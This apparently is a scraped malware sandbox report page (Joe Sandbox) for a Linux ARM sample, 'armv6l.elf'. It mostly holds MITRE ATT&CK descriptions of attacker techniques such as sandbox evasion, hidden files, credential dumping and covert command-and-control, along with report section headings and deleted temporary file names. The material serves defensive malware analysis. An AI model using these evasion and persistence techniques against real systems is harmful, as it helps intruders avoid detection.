Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report armv6l.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.3cvVxd (deleted)

/tmp/qemu-open.4F831c (deleted)

/tmp/qemu-open.4ZEi8e (deleted)

/tmp/qemu-open.4lF5Qc (deleted)

/tmp/qemu-open.5598hg (deleted)

/tmp/qemu-open.6Ez1Xb (deleted)

/tmp/qemu-open.7giC8d (deleted)

/tmp/qemu-open.9tdtkv (deleted)

/tmp/qemu-open.Adgqfe (deleted)

/tmp/qemu-open.GhjCac (deleted)

/tmp/qemu-open.HFWIee (deleted)

/tmp/qemu-open.JEF0Ge (deleted)

/tmp/qemu-open.KkKZbe (deleted)

/tmp/qemu-open.L1PJsg (deleted)

/tmp/qemu-open.L3biGe (deleted)

/tmp/qemu-open.NX63Jf (deleted)

/tmp/qemu-open.P8Vdbf (deleted)

/tmp/qemu-open.Ph50lc (deleted)

/tmp/qemu-open.R992Wc (deleted)

/tmp/qemu-open.Ruk6qe (deleted)

/tmp/qemu-open.TEC1bg (deleted)

/tmp/qemu-open.WOWdQc (deleted)

/tmp/qemu-open.XVQdRf (deleted)

/tmp/qemu-open.YJnJuc (deleted)

/tmp/qemu-open.ZSXZTc (deleted)

/tmp/qemu-open.aytj9c (deleted)

/tmp/qemu-open.cMOqle (deleted)

/tmp/qemu-open.cOarre (deleted)

/tmp/qemu-open.j1cild (deleted)

Linux Analysis Report
armv6l.elf

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre